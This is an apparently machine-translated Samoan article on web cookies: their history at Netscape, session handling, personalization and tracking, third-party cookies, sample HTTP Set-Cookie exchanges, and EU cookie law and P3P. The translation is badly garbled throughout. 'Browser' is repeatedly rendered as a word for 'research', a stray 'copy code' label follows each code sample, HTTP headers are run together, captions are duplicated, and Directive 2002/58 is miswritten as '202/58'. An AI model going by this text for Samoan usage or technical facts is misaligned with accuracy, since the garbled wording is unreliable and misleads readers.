in ,

Kuki Initaneti: O le a le mea? Fa'amatalaga, Afuaga, Ituaiga ma Fa'alilolilo

O le a le matafaioi a le kuki, o le a le mea ma o a ituaiga kuki? 🍪

Kuki Initaneti: O le a le mea? Fa'amatalaga, Afuaga, Ituaiga ma Fa'alilolilo
Kuki Initaneti: O le a le mea? Fa'amatalaga, Afuaga, Ituaiga ma Fa'alilolilo

Un kuki po'o kuki i luga ole laiga (po o kuki, faapuupuuina pei molimau i Quebec) o loʻo faʻamatalaina e le HTTP fesoʻotaʻiga protocol o se faʻasologa o faʻamatalaga na lafoina e se HTTP server i se HTTP client, lea e toe foʻi mai i taimi uma e tasi le HTTP server e fesiligia i lalo o nisi tulaga.

O le kuki e tutusa ma le a tama'i faila faila o lo'o teuina i luga o le laina o le tagata fa'aoga Initaneti. O loʻo i ai mo le sili atu i le 20 tausaga, latou te faʻatagaina le au atinaʻe i luga o le upega tafaʻilagi e teuina faʻamatalaga tagata faʻaoga ina ia faafaigofie ai a latou folauga ma faʻatagaina nisi o galuega. O kuki e masani lava ona sili atu pe itiiti fefinauai ona o lo'o i ai fa'amatalaga patino o totoe e ono mafai ona fa'aogaina e isi vaega.

E auina atu o se ulutala HTTP e le 'upega tafaʻilagi i le upega tafaʻilagi lea e toe faʻafoʻi mai e le suia i taimi uma e maua ai le server. E mafai ona fa'aoga se kuki se fa'amaoniga, se sauniga (tausia a le setete), ma mo teu fa'amatalaga patino e uiga i le tagata fa'aoga, e pei o mea e fiafia i ai nofoaga po'o mea o lo'o i totonu o se fa'atau fa'atau fa'aeletoroni. O le upu kuki e sau mai kuki fa'ataulāitu, o se manatu lauiloa i le UNIX computing, lea na musuia ai le manatu ma le igoa o kuki suʻesuʻe. O lo'o iai ni nai mea e sui ai kuki, e tofu lava ma a latou fa'aoga, lelei ma fa'aletonu.

Ona o faila faila faigofie, o kuki e le mafai ona faʻatinoina. E leai e le o spyware po o viruses, e ui lava o kuki mai nisi o saite e iloa e le tele o polokalame anti-virus aua latou te faʻatagaina tagata faʻaoga e siaki pe a latou asiasi i le tele o nofoaga. 

Ole tele ole su'esu'ega fa'aonaponei e fa'atagaina tagata fa'aoga filifili pe talia pe teena kuki. E mafai foi e tagata faaaoga filifili le umi e teu ai kuki. Ae ui i lea, o le teena atoa o kuki e le mafai ai ona faʻaogaina nisi o nofoaga. Mo se fa'ata'ita'iga, teu oloa fa'atau po'o saite e mana'omia le saini e fa'aaoga ai fa'amaumauga (igoa fa'aoga ma upu fa'aulu).

Lisi o mea

Talafaʻasolopito

O le faaupuga kuki e maua mai le upu fa'aperetania kuki fa'ataulāitu, o se pusa o faʻamaumauga e maua e se polokalame ma toe faʻafoʻi mai e le suia. Ua uma ona faʻaaogaina kuki ile IT ile taimi Lou Montulli sa i ai le manatu e fa'aaogaina i feso'otaiga i luga o le initaneti ia Iuni 1994. I lena taimi, sa faigaluega o ia i le Netscape Communications, lea na fausia se talosaga e-commerce mo se tagata o tausia. Kuki na tu'uina atu se fofo i le fa'afitauli o le fa'atuatuaina o le fa'atinoga o fa'atauga fa'atau a se faleoloa.

Na tusia e John Giannandrea ma Lou Montulli le fa'amatalaga muamua kuki a Netscape i lena lava tausaga. Version 0.9 beta o le Mosaic Netscape, tatalaina i le Oketopa 13, 1994, tuufaatasia tekinolosi kuki (vaai pou). O le fa'aoga muamua (e le'i fa'ata'ita'i) o kuki o le fa'amautu lea pe na asiasi muamua tagata asiasi ile upega tafa'ilagi a Netscape ile saite muamua. Na faʻaulu e Montulli se talosaga pateni mo tekinolosi kuki i le 1995, ma US pateni 5774670 na faʻatagaina. tuuina atu i le 1998.

Ina ua uma ona faʻatinoina i le Netscape 0.9 beta i le 1994, na tuʻufaʻatasia kuki i le Internet Explorer 2, faʻasalalau ia Oketopa 1995.

O le fa'aofiina o kuki e le'i fa'ailoaina e tagata lautele. Aemaise lava, o kuki na talia e ala i le le mafai ona faʻaogaina i totonu o suʻesuʻega, ma e leʻi logoina tagata faʻaoga i lo latou i ai. O nisi tagata na iloa le i ai o kuki i le kuata muamua o le 1995, ae o le lautele o tagata lautele na latou ola ina ua uma ona lomia e le Financial Times se tusiga ia Fepuari 12, 1996. ona o fa'alavelave fa'alilolilo e mafai. O le mataupu o kuki na talanoaina i feutagaiga se lua a le American Federal Trade Commission i le 1996 ma le 1997.

O le atina'eina o le fa'amatalaga kuki aloa'ia ua uma ona fa'agasolo. O talanoaga muamua o le faʻamatalaga aloaia na faia ia Aperila 1995 i luga o le www-talk mailing list. Na fa'atūina se vaega fa'apitoa a le IETF. E lua isi fuafuaga mo le faʻaofiina o le setete i fefaʻatauaiga HTTP na faʻatulagaina e Brian Behlendorf ma David Kristol, ae o le vaega, na taʻitaʻia e Kristol lava ia, na filifili e faʻaoga le faʻamatalaga a Netscape e fai ma amataga. Ia Fepuari 1996, na fa'amautu ai e le vaega faigaluega o kuki lona tolu o se fa'amata'u tele i le le faalauaiteleina. O le faʻamatalaga na gaosia e le vaega na iu lava ina lomia faʻapea RFC 2109.

Mai le faaiuga o le 2014, matou te vaʻai i se fuʻa e uiga i kuki i luga o le tele o nofoaga. E le itiiti ifo ma le tasi le fa'aopoopoga o su'esu'ega e mafai ai le e le'i fa'aalia le fu'a.

Ituaiga Kuki ma Fa'aoga

Pulega o sauniga

E mafai ona fa'aoga kuki e fa'amautu ai fa'amatalaga a tagata fa'aoga i le taimi o folauga, ae fa'apea fo'i ile tele o asiasiga. Na faʻalauiloaina kuki e tuʻuina atu ai se auala e faʻaaogaina ai taavale faʻatau faʻaeletoroni, o se masini komepiuta e mafai ai e le tagata faʻaoga ona faʻaputu mea na te manaʻo e faʻatau aʻo suʻesuʻeina le saite.

O nei aso, o polokalama e pei o faʻatau faʻatau nai lo le teuina o le lisi o mea i totonu o se faʻamaumauga i luga o se 'auʻaunaga, lea e sili atu; nai lo le teuina i totonu o le kuki lava ia. E auina atu e le 'upega tafaʻilagi se kuki o loʻo i ai se ID tulaga ese. E toe fa'afo'i mai e le 'upega tafa'ilagi lenei ID ID i talosaga ta'itasi mulimuli ane ma o mea o lo'o i totonu o le ato o lo'o fa'asaoina ma feso'ota'i ma lea lava ID tulaga fa'apitoa.

O le fa'aaoga soo o kuki e aoga mo le saini i totonu o se saite e fa'aaoga ai fa'amatalaga. I se faapuupuuga, e muamua auina atu e le upega tafaʻilagi se kuki o loʻo i ai se ID tulaga ese. Ona tuʻuina atu lea e tagata faʻaoga a latou faʻamaoniga (e masani lava o le username ma le password). O le upega tafaʻilagi e faʻamaonia ai le sauniga ma faʻatagaina le tagata faʻaoga e maua le auaunaga.

personalization

E mafai ona faʻaaoga kuki e manatua ai faʻamatalaga e uiga i le tagata faʻaoga o se saite, ina ia faʻaali atu ia te ia mea talafeagai i le lumanaʻi. Mo se fa'ata'ita'iga, e mafai e le 'upega tafa'ilagi ona tu'uina atu se kuki o lo'o i ai le igoa mulimuli na fa'aoga e saini i totonu o lena upega tafa'ilagi, ina ia mafai ona fa'auluina le igoa ole igoa ile asiasiga i le lumana'i.

Ole tele o upegatafa'ilagi e fa'aogaina kuki mo le fa'avasegaina e fa'atatau i mana'oga o tagata. Tagata fa'aoga e filifili a latou mea e fiafia i ai i se pepa ma tu'uina atu i le 'au'aunaga. E fa'ailoga e le 'au'aunaga mana'oga i se kuki ma toe fa'afo'i atu i le su'esu'ega. Mulimuli ane, o taimi uma e ulufale ai le tagata faʻaoga i se itulau o lenei 'upega tafaʻilagi, e toe faʻafoʻi e le browser le kuki ma o le mea lea o le lisi o mea e fiafia i ai; ona mafai lea e le server ona fa'avasegaina le itulau e tusa ai ma mana'oga a le tagata fa'aoga. Mo se faʻataʻitaʻiga, o le upega tafaʻilagi a Wikipedia e mafai ai e ona tagata faʻaoga ona filifili le paʻu o le saite latou te fiafia i ai. O le Google search engine e mafai ai e ona tagata fa'aoga (tusa lava pe latou te le'i resitalaina) e filifili le numera o taunu'uga latou te fia va'ai i itulau ta'itasi.

Su'e

O lo'o fa'aogaina kuki siaki e siaki ai masaniga su'esu'e a tagata fa'aoga initaneti. E mafai foi ona faia se vaega e ala i le faaaogaina o le tuatusi IP o le komepiuta e fai ai se talosaga mo se itulau po o le faaaogaina o le 'referrer' HTTP header e auina atu e le kalani ma talosaga uma, ae o kuki e mafai ona sili atu le saʻo. E mafai ona faia lenei mea e pei o le faʻataʻitaʻiga lea:

  1. Afai e valaʻau e le tagata faʻaoga se itulau i luga o se 'upega tafaʻilagi, ma o le talosaga e le o iai se kuki, e manatu le server o le itulau muamua lea na asia e le tagata faʻaoga. Ona faia lea e le server se manoa faʻafuaseʻi ma lafo i le suʻega faʻatasi ma le itulau o loʻo talosagaina.
  2. Mai le taimi nei, o le kuki o le a otometi lava ona auina atu e le browser i taimi uma e valaau ai se itulau fou o le saite. O le a tu'uina atu e le 'au'aunaga le itulau e pei ona masani ai, ae o le a fa'amauina fo'i le URL o le itulau e ta'ua, o le aso, taimi o le talosaga ma le kuki i totonu o se faila faila.

E ala i le tilotilo i le faila ogalaau, ona mafai lea ona iloa po o fea itulau na asia e le tagata faʻaoga ma pe o le a le faasologa. Mo se faʻataʻitaʻiga, afai o le faila o loʻo i ai ni nai talosaga na faia i le faʻaaogaina o le id=abc cookie, e mafai ona faʻamaonia o nei talosaga uma e sau mai le tagata lava e tasi. O le URL o lo'o mana'omia, o le aso ma le taimi e feso'ota'i ma talosaga e fa'ataga ai le su'esu'ega a le tagata fa'aoga.

Kuki a isi vaega ma fa'ailoga i luga ole laiga, o lo'o fa'amatalaina i lalo, e mafai ai fo'i ona su'esu'e i nofoaga eseese. E masani ona fa'aogaina le su'esu'eina o nofoaga e tasi mo fa'amaumauga fa'amaumauga. I se faʻatusatusaga, o le suʻesuʻeina i luga o nofoaga eseese e faʻaaoga ai kuki isi vaega e masani ona faʻaaogaina e kamupani faʻasalalauga e gaosia ai faʻamatalaga tagata e le o taʻua igoa (lea e faʻaaogaina e iloa ai poʻo fea faʻasalalauga e tatau ona faʻaalia i le tagata faʻaoga faʻapea foi ma le auina atu ia te ia o imeli e fetaui ma nei faʻasalalauga - SPAM ).

O le su'eina o kuki ose tulaga lamatia o le osofa'ia o le tagata e le faalauaiteleina ae e faigofie lava ona tapeina. O le tele o su'esu'ega fa'aonaponei e iai se filifiliga e tape'a otometi ai kuki tumau pe a tapuni le talosaga.

Kuki isi vaega

O ata ma isi meafaitino o lo'o i totonu o se itulau web e mafai ona nofo i luga o sapalai e ese mai le tasi o lo'o fa'apipi'iina le itulau. Ina ia faʻaalia le itulau, e sii mai e le suʻega mea uma nei. Ole tele ole upegatafa'ilagi e iai fa'amatalaga mai fa'apogai eseese. Mo se fa'ata'ita'iga, afai e te lolomi le www.example.com i totonu o lau su'esu'ega, e masani ona i ai ni mea faitino po'o fa'asalalauga i se vaega o le itulau e sau mai fa'apogai eseese, o lona uiga mai se isi vaega nai lo le www. .example.com. "Muamua" kuki pati o kuki ia e setiina e le vaega o loʻo lisiina i totonu o le tuatusi o le browser. O kuki isi vaega e setiina e se tasi o meafaitino itulau e sau mai se isi vaega.

E le mafai, o tagata su'esu'e e pei o Mozilla Firefox, Microsoft Internet Explorer ma Opera e talia kuki lona tolu, ae e mafai e tagata fa'aoga ona suia tulaga i le su'esu'ega filifiliga e poloka ai. E leai se fa'alavelave fa'aletonu o lo'o i totonu o kuki lona tolu e mafai ai ona fa'atino galuega i luga ole laiga, peita'i o lo'o fa'aaogaina fo'i e siaki ai tagata fa'aoga. mai lea nofoaga i lea nofoaga.

Meafaigaluega e pei o Ghostery avanoa mo suʻesuʻega uma e aofia ai Google Chrome e mafai ona poloka fefaʻatauaiga i le va o isi vaega.

Fa'atinoga

O se feso'ota'iga talafeagai i le va o se 'upega tafa'ilagi ma le 'au'aunaga o lo'o fa'afeiloa'i le itulau uepi. E auina atu e le server se kuki i le browser ma toe auina atu e le browser pe a valaau se isi itulau.
O se feso'ota'iga talafeagai i le va o se 'upega tafa'ilagi ma le 'au'aunaga o lo'o fa'afeiloa'i le itulau uepi. E auina atu e le server se kuki i le browser ma toe auina atu e le browser pe a valaau se isi itulau.

O kuki o ni vaega laiti o fa'amatalaga e lafo e le 'upega tafa'ilagi ile su'esu'ega. O le suʻesuʻega e toe faʻafoʻi atu i latou e le suia i le 'auʻaunaga, faʻafeiloaʻi le setete (manatua o mea na tutupu i le taimi ua tuanaʻi) i totonu o fefaʻatauaiga HTTP e leai se setete. A aunoa ma kuki, o le toe maua mai o se itulau uepi po'o se vaega o se itulau uepi o se mea tu'ufua, e tutoatasi mai isi talosaga na faia i le saite lava e tasi. I le faaopoopo atu i le mafai ona setiina e le upega tafaʻilagi, e mafai foi ona seti kuki i gagana tusitusi e pei o le JavaScript, pe a lagolagoina ma faʻatagaina e le browser.

O le fa'amatalaga kuki aloa'ia o lo'o fa'ailoa mai e tatau i tagata su'esu'e ona mafai ona fa'asaoina ma toe lafo se numera la'ititi o kuki. Aemaise lava, e tatau ona mafai e se su'esu'ega ona teu a itiiti mai 300 kuki e fa kilobytes ta'itasi, ma ia le itiiti ifo ma le 20 kuki mo se server po'o se vaega e tasi.

E tusa ai ma le vaega 3.1 o RFC 2965, igoa kuki e le mata'itusi.

E mafai e se kuki ona faʻamaonia le aso o lona mutaaga, lea o le a tape ai le kuki i lenei aso. Afai e le faʻamaonia e le kuki se aso e muta ai, e tape le kuki i le taimi lava e alu ese ai le tagata faʻaoga lana suʻega. O le mea lea, o le faʻamaonia o se aso e muta ai o se auala e faʻaola ai le kuki i le tele o vasega. Mo lenei mafua'aga, o kuki ma se aso e muta ai ua fai mai tumau. O se fa'ata'ita'iga talosaga: e ono fa'aogaina e se 'upega tafa'ilagi fa'atauga kuki e fa'amaumau ai mea na tu'uina e tagata fa'aoga i totonu o la latou fa'atau fa'atau (o le mea moni, e mafai e le kuki ona fa'asino i se fa'amatalaga o lo'o teuina i totonu o fa'amaumauga i luga o le nofoaga o le fa'atau, ae le o lau komepiuta) . E ala i lenei auala, afai e tuʻua e tagata faʻaoga a latou suʻesuʻega e aunoa ma le faia o se faʻatau ma toe foʻi i ai mulimuli ane, o le a mafai ona latou toe mauaina mea i totonu o le taavaletoso. Afai e le tuʻuina atu e nei kuki se aso e muta ai, o le a muta pe a tapunia le suʻega, ma o faʻamatalaga i totonu o le ato o le a leiloa.

E mafai ona fa'atapula'aina kuki i se vaega patino, subdomain po'o le ala i luga o le 'au'aunaga na faia ai.

Ole fesiitaiga ole itulau ole upegatafa'ilagi e faia ile fa'aogaina ole HyperText Transfer Protocol (HTTP). E ala i le le amana'iaina o kuki, e vala'au ai tagata su'esu'e i se itulau mai 'upega tafa'ilagi e ala i le tu'uina atu ia i latou o se tusitusiga pupuu e ta'ua HTTP talosaga. Mo se faʻataʻitaʻiga, ina ia maua le itulau www.example.org/index.html, e fesoʻotaʻi tagata suʻesuʻe i le server www.example.org ma lafo se talosaga e pei o lenei:

GET /index.html HTTP/1.1Host: www.example.org
Tautaifaigaluega

E tali mai le 'auʻaunaga e ala i le tuʻuina atu o le itulau o loʻo talosagaina, e muamua i se tusitusiga tutusa, o le tagata atoa e valaʻau Tali HTTP. O lenei afifi e ono iai ni laina e fa'atonu ai le su'esu'e e teu ai kuki:

HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=value
(Itulau HTML)
Tautaifaigaluega

Na'o le 'au'aunaga e tu'uina atu le laina Set-Kuki, pe a mana'o le 'au'aunaga e teu se kuki. Set-Kuki ose talosaga mo le su'esu'e e teu ai le igoa = value string ma toe fa'afo'i i talosaga uma i le lumana'i i le server. Afai e lagolagoina e le su'esu'e kuki ma fa'aagaina kuki i filifiliga su'esu'e, o le a fa'aaofia le kuki i talosaga uma e fai i le server lava lea e tasi. Mo se fa'ata'ita'iga, e vala'au e le su'esu'e le itulau www.example.org/news.html e ala i le auina atu o le talosaga lea i le server www.example.org:

GET /news.html HTTP/1.1Host: www.example.orgKuki: name=valueAccept: */*
Tautaifaigaluega

Ole talosaga lea mo se isi itulau mai le server lava e tasi, ma e ese mai le muamua o loʻo i luga ona o loʻo i ai se manoa na lafoina muamua e le server i le browser. Faʻafetai i lenei uiga, ua iloa e le 'auʻaunaga o lenei talosaga e fesoʻotaʻi ma le muamua. E tali mai le server e ala i le auina atu o le itulau ua valaauina, faapea foi ma le faaopoopo i ai o isi kuki.

O le tau o le kuki e mafai ona suia e le 'auʻaunaga e ala i le tuʻuina atu o se laina fou Set-Kuki: name=new_value i le tali atu i le itulau ua valaʻau. Ona sui lea e le browser le tau tuai i le mea fou.

Ole laina Set-Kuki e masani ona faia e se polokalame CGI po'o isi gagana tusitusi, ae le o le HTTP server. O le HTTP server (fa'ata'ita'iga: Apache) o le a na'o le tu'uina atu o le taunu'uga o le polokalame (se pepa o lo'o muamua i le ulutala o lo'o i ai kuki) i le su'esu'ega.

E mafai fo'i ona seti kuki e le JavaScript po'o isi gagana fa'apena o lo'o tamo'e i totonu ole su'esu'ega, i.e. i le itu o le kalani nai lo le itu o le server. I le JavaScript, o le document.cookie object o loʻo faʻaogaina mo lenei faʻamoemoe. Mo se fa'ata'ita'iga, o le fa'amatalaga document.cookie = "temperature=20" e faia ai se kuki e ta'ua o le "vevela" ma lona tau e 20.

Fa'ata'ita'iga o se tali HTTP mai google.com, lea e fa'atulaga ai se kuki ma uiga.
Fa'ata'ita'iga o se tali HTTP mai google.com, lea e fa'atulaga ai se kuki ma uiga.

I le faaopoopo atu i le igoa/taua paiga, o se kuki e mafai foi ona i ai se aso e muta ai, se ala, se igoa ole igoa ma le ituaiga o fesoʻotaʻiga ua faʻamoemoeina, o lona uiga masani pe faʻailoga. O le RFC 2965 o loʻo faʻamatalaina foi e tatau ona i ai se numera faʻatulafonoina o kuki, ae e masani lava ona le faʻaaogaina. O vaega nei o fa'amaumauga e mulimuli i le igoa=new_value pair ma e tu'u'ese'ese i semicolons. Mo se faʻataʻitaʻiga, e mafai ona faia se kuki e le 'auʻaunaga e ala i le auina atu o se Set-Kuki laina: name=new_value; mae'a=aso; ala=/; domain=.example.org.

E muta kuki ma e le auina atu e le browser i le server i tulaga nei:

  • A tapuni le su'esu'ega, pe a le tumau le kuki.
  • Ina ua mavae le aso e muta ai le kuki.
  • Pe a suia le aso e muta ai le kuki (e le server poʻo le tusitusiga) i se aso ua tuanaʻi.
  • Pe a tape e le browser le kuki i le talosaga a le tagata faʻaoga.

O le tulaga lona tolu e mafai ai e 'auʻaunaga poʻo tusitusiga ona faʻamalo manino se kuki. Manatua e mafai e le Google Chrome web browser ona iloa le aso e muta ai se kuki faʻapitoa e ala i le faʻaogaina o mea faʻaoga. O se kuki o lo'o teuina i luga o se komepiuta e mafai ona tumau pea iina mo le tele o tausaga pe a leai se fa'atonuga e tineia.

Fa'ata'ita'iga

Talu mai lo latou faʻalauiloaina i luga o le Initaneti, e tele manatu e uiga i kuki ua faʻasalalau i luga o le Initaneti ma le aufaasālalau. I le 1998, CIAC, o le Matagaluega o Malosiaga a le Iunaite Setete e mataʻituina faʻalavelave faʻalavelave faʻafuaseʻi, na faʻamaonia ai o faʻafitauli o le saogalemu o kuki "e matua leai lava" ma faʻamatalaina "faʻamatalaga i le amataga o au asiasiga ma auiliiliga o itulau web na e asiasi i ai. ua uma ona i ai i totonu o faila ogalaau a le upega tafaʻilagi". I le 2005, na faʻasalalau ai e Jupiter Research taunuʻuga o se suʻesuʻega, lea na manatu ai se pasene taua o tagata tali mai faʻamatalaga nei:

  • E pei o kuki virusu, latou te a'afia ai ta'avale malosi a tagata fa'aoga.
  • E gaosia kuki oso ane.
  • E fa'aoga kuki e lafo spam.
  • O kuki e fa'aaogaina mo na'o fa'asalalauga.

E le mafai e kuki ona tape pe faitau fa'amatalaga mai le komepiuta a le tagata fa'aoga. Ae ui i lea, o kuki e mafai ai ona iloa itulau web asia e se tagata faʻaoga i luga o se nofoaga poʻo se seti o nofoaga. O lenei faʻamatalaga e mafai ona aoina i totonu o se faʻamatalaga faʻaoga e mafai ona faʻaaogaina pe toe faʻatau atu i isi vaega, lea e mafai ona tulaʻi mai ai ni faʻafitauli matuia. O nisi fa'amatalaga e le o ta'ua, i lona uiga e leai ni fa'amatalaga patino, ae e o'o lava i ia fa'amatalaga e mafai ona fesiligia.

E tusa ai ma lea lava suʻesuʻega, o se pasene tele o tagata faʻaoga Initaneti latou te le iloa pe faʻafefea ona tape kuki. O se tasi o mafua'aga e le fa'atuatuaina ai e tagata kuki ona o nisi o saite ua fa'aleagaina le itu e iloa ai e le tagata lava ia o kuki ma fa'asoa atu nei fa'amatalaga i isi punaoa. O se pasene tele o fa'asalalauga fa'atatau ma imeli e le'i fa'atatauina, e manatu i le spam, e sau mai fa'amatalaga na maua mai i le su'eina o kuki.

Fa'atonuga ole su'esu'e

O le tele o su'esu'ega e lagolagoina kuki ma fa'ataga le tagata fa'aoga e tape. O filifiliga sili ona taatele o:

  • Fa'amalo pe tape atoa kuki, ina ia talia pea pe poloka.
  • Fa'ataga le tagata fa'aoga e va'ai i kuki o lo'o galue i totonu o se itulau ua tu'uina atu, e ala i le tu'uina o le javascript: alert(document.cookie) i le tuatusi pa o le browser. O nisi tagata su'esu'e o lo'o tu'ufa'atasia se pule kuki mo le tagata fa'aoga e mafai ona va'ai ma fa'a'ese'ese kuki o lo'o teuina nei e le su'esu'e.

O le tele o su'esu'ega e fa'atagaina fo'i le tape atoa o fa'amatalaga patino e aofia ai kuki. O lo'o iai fo'i fa'atonuga fa'aopoopo e pulea ai fa'atagaga kuki.

Fa'alilolilo ma Kuki Vaega Tolu

I lenei faʻataʻitaʻiga faʻapitoa, ua tuʻuina e se kamupani faʻasalalauga fuʻa i luga o upega tafaʻilagi e lua. E ala i le faʻapipiʻiina o fuʻa i luga o ana 'auʻaunaga ma le faʻaaogaina o kuki isi vaega, e mafai e le kamupani faʻasalalauga ona siaki le faʻaogaina o le tagata faʻaoga i nei nofoaga e lua.

O kuki e iai ni a'afiaga taua mo le le faalauaiteleina ma le le ta'ua o tagata fa'aoga i luga ole laiga. E ui ina na'o le toe faafoi atu o kuki i le 'au'aunaga na te setiina po'o se 'au'auna o lo'o i totonu o le Initaneti lava lea e tasi, peita'i o le itulau i luga o le upega tafa'ilagi e mafai ona i ai ata po'o isi vaega o lo'o teuina i luga o sapalai o isi vaega. O kuki o loʻo seti i le taimi o le toe faʻaleleia o nei vaega i fafo e taʻua kuki isi vaega. E aofia ai kuki mai fa'amalama pop-up e le mana'omia.

O kamupani fa'asalalauga latou te fa'aogaina kuki lona tolu e siaki ai tagata fa'aoga i nofoaga eseese latou te asia. Aemaise lava, e mafai e se kamupani faʻasalalauga ona siaki se tagata faʻaoga i luga o itulau uma na tuʻuina ai ata faʻasalalauga poʻo se pika siaki. O le malamalama i itulau na asia e le tagata faʻaoga e mafai ai e le kamupani faʻasalalauga ona faʻatatau i faʻasalalauga faʻapitoa a le tagata faʻaoga.

O le tomai e fau ai se fa'amatalaga fa'aoga e manatu nisi o se osofa'iga fa'alilolilo, aemaise lava pe'ā faia le su'esu'ega i vaega eseese e fa'aaoga ai kuki isi vaega. Mo lea mafuaaga, o nisi atunuu e iai tulafono kuki.

Na faʻatinoina e le malo o le Iunaite Setete ni tulafono mamafa i le tuʻuina atu o kuki i le 2000, ina ua faʻaalia o le White House Drug Policy Office o loʻo faʻaaogaina kuki e siaki ai komepiuta a tagata faʻaoga e matamata i luga o le initaneti faʻasalalauga. I le 2002, na iloa ai e Daniel Brandt, le tagata fai mea fa'alilolilo, na tu'ua e le CIA kuki tumau i luga o komepiuta na asiasi i ana upega tafa'ilagi. O le taimi lava na logoina ai lenei soliga, na faailoa mai e le CIA e leʻi auina atu ma le loto i ai nei kuki ma taofia ai le faʻatulagaina. I le aso 25 o Tesema, 2005, na iloa ai e Brandt o le National Security Agency (NSA) na tuʻuina ni kuki tumau se lua i luga o komepiuta a tagata asiasi ona o se faʻafouina polokalame. Ina ua uma ona logoina, na vave fa'agata e le NSA kuki.

I Peretania, o le Tulafono kuki ", na faʻamalosia i le aso 25 o Me, 2012, e faʻamalosia ai nofoaga e faʻaalia ai o latou faʻamoemoega, ma faʻatagaina ai tagata faʻaoga e filifili pe latou te manaʻo e tuʻu ni faʻailoga pe leai foi o latou ala i luga ole Initaneti. E mafai ona puipuia i latou mai fa'asalalauga fa'atatau. Peitai, ae faimai foi O Loo Vaaia, o le fa'atagaga a tagata fa'aoga Initaneti e le'o fa'aalia manino; ua faia suiga i aiaiga o le fa'atagaga a tagata fa'aoga, ua faia ai ua faapea ona faauigaina.

Fa'atonuga 2002/58 ile fa'alilolilo

Fa'atonuga 202/58 fa'alilolilo ma feso'ota'iga fa'aeletoroni, o lo'o iai tulafono ile fa'aogaina o kuki. Aemaise lava, mataupu 5, parakalafa 3 o lenei faʻatonuga e manaʻomia ai le teuina o faʻamaumauga (e pei o kuki) i le komepiuta a le tagata faʻaoga e mafai ona faia pe afai:

  • e logoina le tagata fa'aoga pe fa'afefea ona fa'aogaina fa'amaumauga;
  • ua tu'uina atu i le tagata fa'aoga le filifiliga e teena ai lenei fa'agaioiga teuina. Peita'i, o lo'o ta'u mai fo'i e lenei tusitusiga o le teuina o fa'amaumauga mo mafua'aga fa'apitoa e tu'usaunoa mai lenei tulafono.

Ona o le faʻatinoina mai ia Oketopa 2003, o le faʻatonuga naʻo le le atoatoa na faʻatinoina e tusa ai ma se lipoti o Tesema 2004, lea na faʻaalia ai foi o nisi o Sui Usufono (Slovakia, Latvia, Eleni, Peleseuma ma Luxembourg) e leʻi suia le tulafono. fa'atonuga ile tulafono fa'alotoifale.

E tusa ai ma le manatu o le G29 i le 2010, o lenei faʻatonuga, lea e faʻamaonia ai le faʻaogaina o kuki mo faʻasalalauga faʻasalalauga, i luga o le faʻatagaga manino a le tagata faʻaoga Initaneti o loʻo tumau pea le faʻaogaina. O le mea moni, o le tele o nofoaga e faia i se auala e le ogatasi ma le faʻatonuga, e ala i le faʻatapulaʻaina o i latou lava i se "faʻailoga" faigofie e faʻailoa ai le faʻaogaina o "kuki" e aunoa ma le tuʻuina atu o faʻamatalaga e uiga i le faʻaogaina, e aunoa ma le faʻavasegaina o kuki "faʻapitoa". "su'e" kuki, pe ofoina atu se filifiliga moni i le tagata fa'aoga e mana'o e tausia kuki fa'apitoa (e pei o kuki fa'atau fa'atau) ma teena kuki "su'e". O le mea moni, o le tele o saite e le sa'o le aoga pe a teena kuki, lea e le ogatasi ma le faʻatonuga 2002/58 poʻo le faʻatonuga 95/46 (Puipuiga o faʻamatalaga patino).

Faatonuga 2009/136/CE

O lenei mea ua toe faʻafouina e le Directive 2009/136/EC aso Novema 25, 2009 lea e taʻu mai ai o le "teuina o faʻamatalaga, poʻo le mauaina o avanoa i faʻamatalaga ua uma ona teuina, i totonu o masini faʻapipiʻi a se tagata fai saofaga poʻo se tagata faʻaoga e faʻatagaina naʻo le faʻatagaina o le le tagata fai saofaga po'o le tagata fa'aoga na tu'uina atu lana fa'atagaga, ina ua uma ona maua, i le tausisia o le Fa'atonuga 95/46/EC, fa'amatalaga manino ma atoatoa, i le va o isi i le fa'amoemoega o le fa'agaioiga”. O le fa'atonuga fou la e fa'amalosia ai noataga a'o le'i tu'uina kuki i le komepiuta a le tagata fa'aoga Initaneti.

I uluai iloiloga o le faatonuga, o loʻo faʻamaoti mai e le tulafono a Europa: "Afai e mafai ma aoga, e tusa ai ma aiaiga talafeagai o le Directive 95/46/EC, o le maliega a le tagata faʻaoga e tusa ai ma le gaioiga e mafai ona faʻaalia e ala i le faʻaogaina o faʻatulagaga talafeagai o se suʻesuʻega poʻo isi talosaga". Ae o le mea moni, e leai se su'esu'ega e o'o mai i le taimi nei e mafai ai ona tu'u'ese'ese kuki fa'apitoa fa'apitoa mai mea fa'apitoa e tatau ona tu'u i le filifiliga a le tagata fa'aoga.

O lenei faʻatonuga fou na faʻaliliuina e le au faipule Belgian ia Iulai 2012. O se suʻesuʻega 2014 na faʻaalia ai e oʻo lava i faipule e tauivi e talosaga. o tapula'a o le faatonuga.

P3P

O le fa'amatalaga P3P e aofia ai le mafai e se 'au'aunaga ona ta'u mai se faiga fa'alilolilo, lea e fa'amatalaina ai le ituaiga fa'amatalaga na te aoina ma mo le a le fa'amoemoe. O nei faiga fa'avae e aofia ai (ae le fa'atapula'aina) le fa'aogaina o fa'amatalaga na aoina mai i le fa'aaogaina o kuki. E tusa ai ma faʻamatalaga o le P3P, e mafai e se masini suʻesuʻe ona talia pe teena kuki e ala i le faʻatusatusaina o faiga faʻavae faʻapitoa ma mea e fiafia i ai le tagata faʻaoga poʻo le fesili i le tagata faʻaoga, tuʻuina atu le faʻamatalaga faʻalilolilo faiga faʻapitoa na faʻaalia e le server.

Le tele o su'esu'ega, e aofia ai le Apple Safari ma le Microsoft Internet Explorer versions 6 ma le 7, e lagolagoina le P3P lea e mafai ai e le masini su'esu'e ona fuafua pe talia le teuina o kuki lona tolu. Ole su'esu'ega ole Opera e mafai ai e tagata fa'aoga ona teena kuki lona tolu ma faia se fa'amatalaga fa'alelalolagi fa'apitoa mo le fa'ainitaneti. Mozilla Firefox version 2 na tu'u le lagolago P3P ae toe fa'afo'i i le version 3.

